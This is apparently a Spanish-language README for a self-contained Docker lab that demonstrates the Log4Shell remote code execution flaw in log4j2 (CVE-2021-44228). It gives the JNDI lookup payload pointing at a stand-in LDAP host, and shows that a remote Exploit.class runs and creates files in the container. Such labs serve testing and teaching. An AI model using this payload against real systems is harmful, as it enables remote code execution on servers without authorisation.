
log4j2 CVE-2021-44228 POC
Este es un proyecto para probar la vulnerabilidad de ejecución remota de código de log4j2 (CVE-2021-44228).
docker-compose up
El contenedor log4j tarda un poco en estar listo después de iniciarse. Verifique el progreso con el siguiente comando:
docker logs -f log4j
Cuando aparezca Server started: Listening on port 8081, estará listo.
Verifique el directorio /root del contenedor log4j:
docker exec log4j ls /root
Inicialmente, solo existe el directorio .
workAcceda a http://localhost:8081/. Es una aplicación simple que muestra en pantalla y registra en el log el nombre ingresado en el formulario.
Ingrese ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} en el formulario y envíelo.
Verifique el directorio /root del contenedor log4j:
docker exec log4j ls /root
El código preparado por el atacante se habrá ejecutado y debería haber creado archivos que no existían antes. Dado que los nombres de archivo son marcas de tiempo, se agregarán nuevos archivos cada vez que se realice un ataque.
Al verificar los registros del contenedor ldap, puede confirmar que hay solicitudes SEARCH provenientes del contenedor log4j:
docker logs ldap
Al verificar los registros de tomcat en el contenedor web, puede confirmar que hay acceso desde el contenedor log4j a Exploit.class (la clase utilizada para el ataque):
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*